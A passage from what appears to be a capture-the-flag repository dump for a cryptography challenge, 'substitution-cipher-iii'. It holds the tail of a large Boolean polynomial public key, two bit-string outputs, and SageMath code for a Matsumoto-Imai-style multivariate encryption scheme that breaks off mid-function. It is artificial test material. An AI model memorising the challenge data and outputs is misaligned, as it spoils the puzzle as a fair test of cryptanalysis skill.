x40*x50 + x40*x51 + x40*x52 + x40*x56 + x40*x58 + x40*x61 + x40*x62 + x40*x64 + x40*x67 + x40*x68 + x40*x70 + x40*x71 + x40*x72 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40*x79 + x40 + x41*x43 + x41*x44 + x41*x45 + x41*x47 + x41*x51 + x41*x53 + x41*x54 + x41*x55 + x41*x56 + x41*x57 + x41*x59 + x41*x60 + x41*x62 + x41*x64 + x41*x67 + x41*x69 + x41*x70 + x41*x72 + x41*x74 + x41*x75 + x41*x77 + x42*x44 + x42*x46 + x42*x49 + x42*x50 + x42*x52 + x42*x53 + x42*x54 + x42*x55 + x42*x65 + x42*x69 + x42*x70 + x42*x74 + x42*x77 + x42*x79 + x43*x44 + x43*x46 + x43*x47 + x43*x55 + x43*x57 + x43*x60 + x43*x62 + x43*x63 + x43*x64 + x43*x66 + x43*x68 + x43*x69 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x75 + x43*x76 + x43*x78 + x43 + x44*x45 + x44*x47 + x44*x48 + x44*x50 + x44*x52 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x60 + x44*x62 + x44*x64 + x44*x65 + x44*x66 + x44*x67 + x44*x70 + x44*x73 + x44*x74 + x44*x77 + x44 + x45*x46 + x45*x51 + x45*x55 + x45*x58 + x45*x59 + x45*x60 + x45*x65 + x45*x66 + x45*x70 + x45*x71 + x45*x72 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x46*x48 + x46*x51 + x46*x52 + x46*x56 + x46*x57 + x46*x60 + x46*x63 + x46*x64 + x46*x69 + x46*x70 + x46*x72 + x46*x75 + x46*x76 + x46*x79 + x47*x49 + x47*x50 + x47*x51 + x47*x52 + x47*x53 + x47*x57 + x47*x61 + x47*x64 + x47*x65 + x47*x67 + x47*x68 + x47*x70 + x47*x74 + x47*x78 + x47*x79 + x47 + x48*x50 + x48*x52 + x48*x53 + x48*x54 + x48*x55 + x48*x56 + x48*x58 + x48*x59 + x48*x63 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x75 + x48*x76 + x49*x50 + x49*x53 + x49*x54 + x49*x61 + x49*x62 + x49*x63 + x49*x64 + x49*x67 + x49*x68 + x49*x69 + x49*x70 + x49*x74 + x49*x75 + x49*x77 + x49*x78 + x49*x79 + x49 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x62 + x50*x63 + x50*x65 + x50*x68 + x50*x70 + x50*x72 + x50*x74 + x50*x75 + x50 + x51*x53 + x51*x56 + x51*x59 + x51*x63 + x51*x64 + x51*x65 + x51*x68 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x78 + x51*x79 + x51 + x52*x55 + x52*x56 + x52*x59 + x52*x60 + x52*x61 + x52*x65 + x52*x66 + x52*x68 + x52*x69 + x52*x73 + x52*x74 + x52*x79 + x52 + x53*x55 + x53*x57 + x53*x61 + x53*x68 + x53*x70 + x53*x71 + x53*x72 + x53*x74 + x53*x75 + x53*x79 + x54*x58 + x54*x62 + x54*x65 + x54*x69 + x54*x70 + x54*x71 + x54*x73 + x54*x74 + x54*x75 + x54*x79 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x65 + x55*x66 + x55*x69 + x55*x70 + x55*x71 + x55*x73 + x55*x77 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x61 + x56*x63 + x56*x64 + x56*x65 + x56*x66 + x56*x67 + x56*x68 + x56*x69 + x56*x70 + x56*x71 + x56*x72 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x56 + x57*x60 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x68 + x57*x71 + x57*x72 + x57*x73 + x57*x77 + x57*x78 + x58*x63 + x58*x65 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x76 + x58*x77 + x58*x79 + x59*x60 + x59*x61 + x59*x66 + x59*x68 + x59*x69 + x59*x71 + x59*x72 + x59*x73 + x59*x74 + x59*x76 + x59*x78 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x65 + x60*x66 + x60*x69 + x60*x71 + x60*x74 + x60*x75 + x60*x78 + x60*x79 + x60 + x61*x64 + x61*x67 + x61*x68 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x75 + x61*x76 + x61*x78 + x62*x66 + x62*x67 + x62*x68 + x62*x70 + x62*x72 + x62*x74 + x62*x75 + x62*x76 + x62*x79 + x62 + x63*x68 + x63*x74 + x63*x75 + x63*x76 + x63*x77 + x63*x79 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64*x73 + x64*x75 + x64*x76 + x64*x77 + x64*x79 + x64 + x65*x66 + x65*x67 + x65*x68 + x65*x74 + x65*x75 + x65*x76 + x65*x77 + x65 + x66*x69 + x66*x70 + x66*x74 + x66*x75 + x66*x76 + x66*x77 + x66*x78 + x67*x69 + x67*x76 + x67*x77 + x67*x79 + x68*x70 + x68*x72 + x68*x73 + x68*x75 + x68*x78 + x68*x79 + x68 + x69*x70 + x69*x71 + x69*x72 + x69*x74 + x69*x76 + x69*x77 + x69*x79 + x70*x71 + x70*x73 + x70*x74 + x70*x78 + x70 + x71*x72 + x71*x73 + x71*x76 + x71*x77 + x71*x78 + x71*x79 + x71 + x72*x73 + x72*x75 + x72*x77 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x78 + x74*x75 + x74*x79 + x74 + x75*x76 + x75*x77 + x75 + x76*x77 + x76 + x77 + x78*x79 + x78, x0*x4 + x0*x6 + x0*x7 + x0*x9 + x0*x10 + x0*x15 + x0*x16 + x0*x17 + x0*x19 + x0*x20 + x0*x21 + x0*x22 + x0*x23 + x0*x24 + x0*x26 + x0*x28 + x0*x31 + x0*x32 + x0*x36 + x0*x39 + x0*x44 + x0*x46 + x0*x49 + x0*x50 + x0*x53 + x0*x54 + x0*x55 + x0*x58 + x0*x59 + x0*x60 + x0*x62 + x0*x65 + x0*x67 + x0*x68 + x0*x72 + x0*x73 + x0*x74 + x0*x75 + x0*x76 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x3 + x1*x6 + x1*x9 + x1*x10 + x1*x11 + x1*x12 + x1*x13 + x1*x15 + x1*x17 + x1*x22 + x1*x23 + x1*x27 + x1*x30 + x1*x31 + x1*x33 + x1*x38 + x1*x40 + x1*x44 + x1*x45 + x1*x46 + x1*x52 + x1*x53 + x1*x54 + x1*x56 + x1*x57 + x1*x59 + x1*x62 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x69 + x1*x74 + x1*x77 + x1 + x2*x3 + x2*x4 + x2*x6 + x2*x7 + x2*x8 + x2*x10 + x2*x11 + x2*x13 + x2*x15 + x2*x17 + x2*x18 + x2*x19 + x2*x23 + x2*x24 + x2*x25 + x2*x26 + x2*x30 + x2*x32 + x2*x33 + x2*x35 + x2*x36 + x2*x37 + x2*x38 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x44 + x2*x49 + x2*x50 + x2*x53 + x2*x54 + x2*x59 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x67 + x2*x68 + x2*x71 + x2*x73 + x2*x76 + x2*x77 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x6 + x3*x8 + x3*x10 + x3*x11 + x3*x13 + x3*x16 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x27 + x3*x29 + x3*x31 + x3*x32 + x3*x34 + x3*x36 + x3*x37 + x3*x40 + x3*x45 + x3*x46 + x3*x47 + x3*x48 + x3*x50 + x3*x53 + x3*x54 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x63 + x3*x66 + x3*x70 + x3*x72 + x3*x73 + x3*x74 + x3*x75 + x3*x78 + x4*x6 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x17 + x4*x22 + x4*x23 + x4*x27 + x4*x28 + x4*x30 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x37 + x4*x40 + x4*x42 + x4*x44 + x4*x45 + x4*x46 + x4*x47 + x4*x49 + x4*x50 + x4*x51 + x4*x53 + x4*x54 + x4*x55 + x4*x56 + x4*x58 + x4*x59 + x4*x62 + x4*x70 + x4*x72 + x4*x74 + x4*x76 + x4*x77 + x4*x79 + x4 + x5*x6 + x5*x9 + x5*x10 + x5*x11 + x5*x14 + x5*x15 + x5*x16 + x5*x20 + x5*x22 + x5*x25 + x5*x28 + x5*x29 + x5*x31 + x5*x38 + x5*x39 + x5*x40 + x5*x41 + x5*x45 + x5*x47 + x5*x48 + x5*x50 + x5*x52 + x5*x53 + x5*x57 + x5*x59 + x5*x61 + x5*x65 + x5*x67 + x5*x68 + x5*x69 + x5*x71 + x5*x73 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x10 + x6*x11 + x6*x12 + x6*x14 + x6*x17 + x6*x18 + x6*x19 + x6*x20 + x6*x22 + x6*x23 + x6*x25 + x6*x32 + x6*x37 + x6*x40 + x6*x42 + x6*x44 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x53 + x6*x54 + x6*x56 + x6*x57 + x6*x58 + x6*x59 + x6*x62 + x6*x63 + x6*x65 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x72 + x6*x74 + x6*x76 + x6*x78 + x6*x79 + x6 + x7*x9 + x7*x13 + x7*x14 + x7*x16 + x7*x17 + x7*x19 + x7*x24 + x7*x25 + x7*x26 + x7*x29 + x7*x30 + x7*x34 + x7*x35 + x7*x36 + x7*x37 + x7*x39 + x7*x40 + x7*x41 + x7*x43 + x7*x45 + x7*x47 + x7*x48 + x7*x53 + x7*x55 + x7*x57 + x7*x59 + x7*x61 + x7*x65 + x7*x68 + x7*x70 + x7*x71 + x7*x72 + x7*x76 + x7*x77 + x7*x78 + x8*x9 + x8*x10 + x8*x11 + x8*x13 + x8*x16 + x8*x17 + x8*x18 + x8*x19 + x8*x21 + x8*x22 + x8*x24 + x8*x25 + x8*x27 + x8*x28 + x8*x30 + x8*x34 + x8*x41 + x8*x42 + x8*x43 + x8*x44 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x50 + x8*x54 + x8*x56 + x8*x57 + x8*x58 + x8*x60 + x8*x61 + x8*x64 + x8*x65 + x8*x71 + x8*x72 + x8*x74 + x8 + x9*x10 + x9*x12 + x9*x13 + x9*x14 + x9*x17 + x9*x19 + x9*x20 + x9*x22 + x9*x25 + x9*x32 + x9*x34 + x9*x35 + x9*x38 + x9*x39 + x9*x41 + x9*x42 + x9*x43 + x9*x44 + x9*x46 + x9*x47 + x9*x48 + x9*x53 + x9*x57 + x9*x58 + x9*x61 + x9*x64 + x9*x66 + x9*x70 + x9*x72 + x9*x73 + x9*x75 + x9*x78 + x9*x79 + x9 + x10*x11 + x10*x16 + x10*x17 + x10*x18 + x10*x19 + x10*x20 + x10*x23 + x10*x28 + x10*x29 + x10*x33 + x10*x35 + x10*x36 + x10*x37 + x10*x40 + x10*x42 + x10*x49 + x10*x50 + x10*x51 + x10*x52 + x10*x53 + x10*x57 + x10*x59 + x10*x60 + x10*x61 + x10*x62 + x10*x63 + x10*x64 + x10*x66 + x10*x68 + x10*x69 + x10*x70 + x10*x71 + x10*x74 + x10*x76 + x10*x78 + x10*x79 + x10 + x11*x13 + x11*x16 + x11*x17 + x11*x18 + x11*x19 + x11*x21 + x11*x22 + x11*x24 + x11*x26 + x11*x27 + x11*x29 + x11*x31 + x11*x32 + x11*x33 + x11*x35 + x11*x36 + x11*x37 + x11*x40 + x11*x41 + x11*x44 + x11*x45 + x11*x47 + x11*x49 + x11*x51 + x11*x52 + x11*x56 + x11*x58 + x11*x60 + x11*x66 + x11*x68 + x11*x69 + x11*x70 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x79 + x12*x14 + x12*x16 + x12*x18 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x23 + x12*x26 + x12*x27 + x12*x28 + x12*x30 + x12*x33 + x12*x34 + x12*x35 + x12*x37 + x12*x38 + x12*x39 + x12*x42 + x12*x44 + x12*x46 + x12*x47 + x12*x50 + x12*x51 + x12*x52 + x12*x56 + x12*x59 + x12*x64 + x12*x65 + x12*x66 + x12*x71 + x12*x72 + x12*x73 + x12*x74 + x12*x77 + x12*x78 + x13*x14 + x13*x15 + x13*x17 + x13*x22 + x13*x23 + x13*x25 + x13*x26 + x13*x29 + x13*x32 + x13*x33 + x13*x34 + x13*x39 + x13*x40 + x13*x41 + x13*x46 + x13*x47 + x13*x49 + x13*x50 + x13*x55 + x13*x57 + x13*x58 + x13*x59 + x13*x60 + x13*x61 + x13*x62 + x13*x68 + x13*x70 + x13*x71 + x13*x72 + x13*x73 + x13*x76 + x14*x18 + x14*x19 + x14*x21 + x14*x23 + x14*x25 + x14*x26 + x14*x29 + x14*x37 + x14*x39 + x14*x42 + x14*x47 + x14*x49 + x14*x50 + x14*x52 + x14*x53 + x14*x54 + x14*x55 + x14*x56 + x14*x57 + x14*x59 + x14*x60 + x14*x62 + x14*x63 + x14*x64 + x14*x66 + x14*x67 + x14*x68 + x14*x69 + x14*x70 + x14*x72 + x14*x74 + x14*x77 + x14*x79 + x15*x17 + x15*x18 + x15*x20 + x15*x21 + x15*x22 + x15*x23 + x15*x25 + x15*x26 + x15*x28 + x15*x30 + x15*x35 + x15*x39 + x15*x41 + x15*x47 + x15*x48 + x15*x52 + x15*x53 + x15*x58 + x15*x60 + x15*x63 + x15*x64 + x15*x65 + x15*x66 + x15*x68 + x15*x69 + x15*x70 + x15*x72 + x15*x73 + x15*x74 + x15*x76 + x15*x78 + x15 + x16*x17 + x16*x19 + x16*x21 + x16*x22 + x16*x23 + x16*x25 + x16*x26 + x16*x31 + x16*x33 + x16*x35 + x16*x36 + x16*x39 + x16*x40 + x16*x41 + x16*x42 + x16*x45 + x16*x46 + x16*x50 + x16*x52 + x16*x55 + x16*x56 + x16*x57 + x16*x58 + x16*x59 + x16*x61 + x16*x62 + x16*x64 + x16*x65 + x16*x66 + x16*x73 + x16*x74 + x16*x75 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x21 + x17*x22 + x17*x23 + x17*x24 + x17*x25 + x17*x27 + x17*x32 + x17*x34 + x17*x36 + x17*x38 + x17*x40 + x17*x41 + x17*x43 + x17*x47 + x17*x49 + x17*x50 + x17*x51 + x17*x53 + x17*x54 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x60 + x17*x61 + x17*x68 + x17*x70 + x17*x73 + x17*x74 + x17*x76 + x17*x77 + x17*x78 + x18*x20 + x18*x23 + x18*x24 + x18*x29 + x18*x30 + x18*x32 + x18*x36 + x18*x40 + x18*x42 + x18*x43 + x18*x44 + x18*x48 + x18*x49 + x18*x50 + x18*x52 + x18*x53 + x18*x54 + x18*x55 + x18*x57 + x18*x59 + x18*x60 + x18*x63 + x18*x65 + x18*x67 + x18*x74 + x18*x75 + x18*x77 + x18*x78 + x18 + x19*x21 + x19*x25 + x19*x26 + x19*x28 + x19*x30 + x19*x35 + x19*x37 + x19*x40 + x19*x41 + x19*x43 + x19*x45 + x19*x46 + x19*x48 + x19*x49 + x19*x50 + x19*x51 + x19*x56 + x19*x57 + x19*x61 + x19*x62 + x19*x63 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x75 + x19*x77 + x19*x78 + x19 + x20*x21 + x20*x22 + x20*x24 + x20*x27 + x20*x29 + x20*x30 + x20*x33 + x20*x34 + x20*x36 + x20*x39 + x20*x41 + x20*x44 + x20*x46 + x20*x48 + x20*x49 + x20*x50 + x20*x51 + x20*x53 + x20*x54 + x20*x55 + x20*x60 + x20*x62 + x20*x63 + x20*x64 + x20*x65 + x20*x67 + x20*x69 + x20*x72 + x20*x73 + x20*x75 + x20*x78 + x20 + x21*x22 + x21*x23 + x21*x30 + x21*x32 + x21*x33 + x21*x34 + x21*x36 + x21*x38 + x21*x42 + x21*x43 + x21*x44 + x21*x47 + x21*x50 + x21*x60 + x21*x61 + x21*x62 + x21*x64 + x21*x66 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x73 + x21*x74 + x21*x75 + x21*x76 + x21*x78 + x21 + x22*x23 + x22*x24 + x22*x26 + x22*x29 + x22*x30 + x22*x31 + x22*x34 + x22*x36 + x22*x41 + x22*x42 + x22*x43 + x22*x45 + x22*x47 + x22*x49 + x22*x50 + x22*x52 + x22*x56 + x22*x57 + x22*x58 + x22*x59 + x22*x63 + x22*x64 + x22*x65 + x22*x66 + x22*x72 + x22*x75 + x22*x76 + x22*x79 + x23*x24 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x35 + x23*x37 + x23*x38 + x23*x39 + x23*x40 + x23*x41 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x47 + x23*x49 + x23*x51 + x23*x52 + x23*x54 + x23*x55 + x23*x57 + x23*x58 + x23*x61 + x23*x63 + x23*x64 + x23*x65 + x23*x66 + x23*x68 + x23*x71 + x23*x72 + x23*x74 + x23*x76 + x23*x77 + x23*x78 + x23 + x24*x27 + x24*x31 + x24*x33 + x24*x34 + x24*x35 + x24*x38 + x24*x41 + x24*x43 + x24*x45 + x24*x46 + x24*x49 + x24*x51 + x24*x52 + x24*x53 + x24*x54 + x24*x56 + x24*x57 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x63 + x24*x66 + x24*x68 + x24*x71 + x24*x75 + x24*x76 + x24*x78 + x24*x79 + x24 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x37 + x25*x38 + x25*x39 + x25*x41 + x25*x44 + x25*x45 + x25*x46 + x25*x50 + x25*x51 + x25*x52 + x25*x56 + x25*x57 + x25*x58 + x25*x60 + x25*x62 + x25*x64 + x25*x65 + x25*x66 + x25*x67 + x25*x68 + x25*x71 + x25*x77 + x25*x78 + x25*x79 + x26*x27 + x26*x28 + x26*x31 + x26*x34 + x26*x35 + x26*x39 + x26*x41 + x26*x42 + x26*x44 + x26*x45 + x26*x47 + x26*x48 + x26*x49 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x55 + x26*x56 + x26*x60 + x26*x61 + x26*x63 + x26*x64 + x26*x65 + x26*x66 + x26*x67 + x26*x71 + x26*x73 + x26*x74 + x26*x77 + x26*x78 + x26 + x27*x28 + x27*x29 + x27*x32 + x27*x34 + x27*x37 + x27*x40 + x27*x46 + x27*x47 + x27*x51 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x58 + x27*x60 + x27*x61 + x27*x62 + x27*x66 + x27*x68 + x27*x69 + x27*x70 + x27*x74 + x27*x75 + x27*x77 + x27*x78 + x27 + x28*x29 + x28*x30 + x28*x34 + x28*x36 + x28*x37 + x28*x40 + x28*x43 + x28*x47 + x28*x48 + x28*x49 + x28*x53 + x28*x56 + x28*x61 + x28*x63 + x28*x65 + x28*x66 + x28*x67 + x28*x69 + x28*x70 + x28*x73 + x28*x74 + x28*x76 + x28*x78 + x28*x79 + x28 + x29*x34 + x29*x38 + x29*x40 + x29*x42 + x29*x43 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x48 + x29*x50 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x59 + x29*x63 + x29*x65 + x29*x68 + x29*x71 + x29*x72 + x29*x75 + x29*x76 + x29*x78 + x29*x79 + x29 + x30*x32 + x30*x33 + x30*x34 + x30*x35 + x30*x44 + x30*x45 + x30*x46 + x30*x49 + x30*x51 + x30*x52 + x30*x53 + x30*x60 + x30*x61 + x30*x65 + x30*x66 + x30*x68 + x30*x71 + x30*x75 + x30*x76 + x30*x78 + x31*x32 + x31*x33 + x31*x34 + x31*x35 + x31*x38 + x31*x39 + x31*x41 + x31*x43 + x31*x48 + x31*x50 + x31*x54 + x31*x56 + x31*x57 + x31*x58 + x31*x60 + x31*x62 + x31*x63 + x31*x65 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x74 + x31*x76 + x31*x78 + x32*x34 + x32*x37 + x32*x40 + x32*x41 + x32*x44 + x32*x47 + x32*x49 + x32*x51 + x32*x52 + x32*x53 + x32*x55 + x32*x59 + x32*x60 + x32*x61 + x32*x65 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x72 + x32*x73 + x32*x77 + x32*x79 + x33*x36 + x33*x38 + x33*x40 + x33*x42 + x33*x46 + x33*x47 + x33*x48 + x33*x49 + x33*x52 + x33*x53 + x33*x54 + x33*x56 + x33*x58 + x33*x59 + x33*x61 + x33*x62 + x33*x63 + x33*x67 + x33*x73 + x33*x74 + x33*x76 + x33*x77 + x34*x37 + x34*x41 + x34*x42 + x34*x45 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x53 + x34*x54 + x34*x59 + x34*x61 + x34*x63 + x34*x65 + x34*x66 + x34*x68 + x34*x69 + x34*x70 + x34*x71 + x34*x73 + x34*x76 + x34*x77 + x34*x79 + x34 + x35*x36 + x35*x41 + x35*x46 + x35*x47 + x35*x48 + x35*x51 + x35*x53 + x35*x56 + x35*x58 + x35*x63 + x35*x66 + x35*x67 + x35*x68 + x35*x69 + x35*x74 + x35*x76 + x35*x79 + x36*x38 + x36*x41 + x36*x46 + x36*x47 + x36*x48 + x36*x51 + x36*x52 + x36*x54 + x36*x55 + x36*x56 + x36*x58 + x36*x60 + x36*x62 + x36*x64 + x36*x67 + x36*x68 + x36*x69 + x36*x70 + x36*x71 + x36*x72 + x36*x74 + x36*x79 + x37*x38 + x37*x40 + x37*x44 + x37*x46 + x37*x51 + x37*x52 + x37*x56 + x37*x63 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x72 + x37*x74 + x37*x77 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x44 + x38*x47 + x38*x48 + x38*x51 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x62 + x38*x63 + x38*x64 + x38*x65 + x38*x66 + x38*x69 + x38*x70 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x43 + x39*x46 + x39*x47 + x39*x48 + x39*x51 + x39*x55 + x39*x57 + x39*x58 + x39*x63 + x39*x65 + x39*x67 + x39*x71 + x39*x73 + x39*x74 + x39*x76 + x39 + x40*x43 + x40*x45 + x40*x46 + x40*x50 + x40*x51 + x40*x52 + x40*x54 + x40*x55 + x40*x58 + x40*x59 + x40*x60 + x40*x63 + x40*x64 + x40*x66 + x40*x67 + x40*x70 + x40*x71 + x40*x72 + x40*x74 + x40*x76 + x40*x77 + x40*x78 + x41*x45 + x41*x47 + x41*x48 + x41*x52 + x41*x54 + x41*x56 + x41*x57 + x41*x58 + x41*x59 + x41*x60 + x41*x61 + x41*x63 + x41*x65 + x41*x66 + x41*x67 + x41*x68 + x41*x70 + x41*x72 + x41*x74 + x41*x77 + x41*x78 + x41*x79 + x42*x43 + x42*x44 + x42*x45 + x42*x46 + x42*x48 + x42*x49 + x42*x50 + x42*x51 + x42*x53 + x42*x60 + x42*x61 + x42*x62 + x42*x64 + x42*x66 + x42*x69 + x42*x70 + x42*x71 + x42*x76 + x43*x46 + x43*x54 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x60 + x43*x65 + x43*x68 + x43*x69 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x75 + x43*x76 + x43*x77 + x43*x79 + x43 + x44*x45 + x44*x46 + x44*x50 + x44*x51 + x44*x52 + x44*x53 + x44*x56 + x44*x57 + x44*x58 + x44*x59 + x44*x60 + x44*x61 + x44*x64 + x44*x65 + x44*x68 + x44*x69 + x44*x70 + x44*x74 + x44*x76 + x44*x78 + x44 + x45*x47 + x45*x49 + x45*x51 + x45*x52 + x45*x53 + x45*x54 + x45*x57 + x45*x58 + x45*x59 + x45*x60 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x70 + x45*x75 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x45 + x46*x47 + x46*x51 + x46*x53 + x46*x54 + x46*x55 + x46*x58 + x46*x60 + x46*x63 + x46*x64 + x46*x65 + x46*x66 + x46*x69 + x46*x70 + x46*x72 + x46*x73 + x46*x75 + x46*x76 + x46*x77 + x46*x79 + x46 + x47*x48 + x47*x49 + x47*x50 + x47*x51 + x47*x53 + x47*x54 + x47*x55 + x47*x56 + x47*x58 + x47*x59 + x47*x60 + x47*x62 + x47*x65 + x47*x67 + x47*x71 + x47*x73 + x47*x77 + x47*x78 + x47 + x48*x50 + x48*x51 + x48*x52 + x48*x53 + x48*x55 + x48*x57 + x48*x60 + x48*x61 + x48*x63 + x48*x64 + x48*x65 + x48*x66 + x48*x68 + x48*x69 + x48*x71 + x48*x73 + x48*x77 + x48*x79 + x49*x50 + x49*x52 + x49*x55 + x49*x56 + x49*x57 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x68 + x49*x70 + x49*x71 + x49*x73 + x49*x74 + x49*x75 + x49*x78 + x49 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x58 + x50*x61 + x50*x63 + x50*x64 + x50*x65 + x50*x66 + x50*x69 + x50*x71 + x50*x73 + x50*x74 + x50*x75 + x50*x76 + x50*x77 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x56 + x51*x59 + x51*x60 + x51*x61 + x51*x62 + x51*x63 + x51*x66 + x51*x67 + x51*x71 + x51*x72 + x51*x74 + x51*x75 + x51*x76 + x51*x77 + x51*x79 + x52*x54 + x52*x59 + x52*x60 + x52*x63 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x69 + x52*x70 + x52*x71 + x52*x73 + x52*x74 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x58 + x53*x61 + x53*x64 + x53*x68 + x53*x69 + x53*x71 + x53*x75 + x54*x55 + x54*x56 + x54*x57 + x54*x58 + x54*x59 + x54*x60 + x54*x61 + x54*x62 + x54*x63 + x54*x64 + x54*x65 + x54*x66 + x54*x70 + x54*x73 + x54*x74 + x54*x76 + x54*x79 + x54 + x55*x58 + x55*x63 + x55*x64 + x55*x67 + x55*x68 + x55*x69 + x55*x71 + x55*x73 + x55*x76 + x55*x77 + x55*x79 + x56*x58 + x56*x60 + x56*x61 + x56*x63 + x56*x64 + x56*x67 + x56*x68 + x56*x69 + x56*x70 + x56*x72 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x56 + x57*x60 + x57*x61 + x57*x62 + x57*x63 + x57*x64 + x57*x65 + x57*x68 + x57*x71 + x57*x72 + x57*x74 + x57*x75 + x57*x77 + x57*x78 + x57*x79 + x57 + x58*x59 + x58*x60 + x58*x63 + x58*x64 + x58*x65 + x58*x66 + x58*x68 + x58*x70 + x58*x71 + x58*x74 + x58*x75 + x58*x77 + x58*x79 + x59*x62 + x59*x64 + x59*x67 + x59*x70 + x59*x72 + x59*x73 + x59*x75 + x59*x78 + x59*x79 + x60*x61 + x60*x63 + x60*x66 + x60*x68 + x60*x70 + x60*x71 + x60*x76 + x60 + x61*x62 + x61*x63 + x61*x65 + x61*x67 + x61*x70 + x61*x71 + x61*x72 + x61*x74 + x61 + x62*x63 + x62*x67 + x62*x68 + x62*x70 + x62*x71 + x62*x73 + x62*x76 + x62 + x63*x65 + x63*x66 + x63*x68 + x63*x70 + x63*x72 + x63*x76 + x63*x77 + x63*x78 + x63 + x64*x65 + x64*x66 + x64*x67 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64*x73 + x64*x74 + x64*x76 + x64*x78 + x64 + x65*x66 + x65*x69 + x65*x77 + x65 + x66*x67 + x66*x68 + x66*x69 + x66*x70 + x66*x76 + x66*x77 + x66*x79 + x67*x68 + x67*x69 + x67*x72 + x67*x77 + x67 + x68*x69 + x68*x71 + x68*x74 + x68*x77 + x68*x78 + x69*x78 + x69*x79 + x70*x72 + x70*x73 + x70*x74 + x70*x77 + x70 + x71*x73 + x71*x74 + x71*x75 + x71*x77 + x71*x79 + x72*x73 + x72*x76 + x72*x77 + x72 + x73*x76 + x73*x79 + x73 + x74*x75 + x74*x77 + x74*x78 + x75*x76 + x76*x79 + x77*x79 + x77 + x78 + x79 + 1)\n11101011000000110101100011111010000110101111010000111100111100011110011010001101\n10111101100011010101101110001100010001100001111101100010000011100100001101011110\n"
  },
  {
    "path": "crypto/substitution-cipher-iii/challenge/substitution-cipher-iii.sage",
    "content": "def encrypt(pubkey, msg):\n    gens = pubkey[0].parent().gens()\n    n = len(gens)\n\n    B = ''.join(f'{c:08b}' for c in msg)\n    B = list(map(int, B))\n    assert len(B) <= n\n    B += [0] * (n - len(B))\n\n    subs = { x: b for x, b in zip(gens, B) }\n    return ''.join([str(p.substitute(subs)) for p in pubkey])\n\ndef generate_key(n):\n    q = 2\n    F = GF(q)\n    K = BooleanPolynomialRing(n, 'x')\n    R.<t> = PolynomialRing(K)\n    i = GF(q)[t].irreducible_element(n)\n    I = Ideal(R(i))\n    I.reduce = lambda f: f % i # dirty sage hack\n    E.<tbar> = PolynomialRing(K, t).quo(I)\n    L.<x> = PolynomialRing(E)\n    A = AffineGroup(n, K)\n\n    S = A(GL(n, F).random_element(), random_vector(F, n), check=False)\n    r = sum(randint(0, 1) * tbar^i for i in range(n))\n    P = r * x^(q + 1)\n    T = A(GL(n, F).random_element(), random_vector(F, n), check=False)\n\n    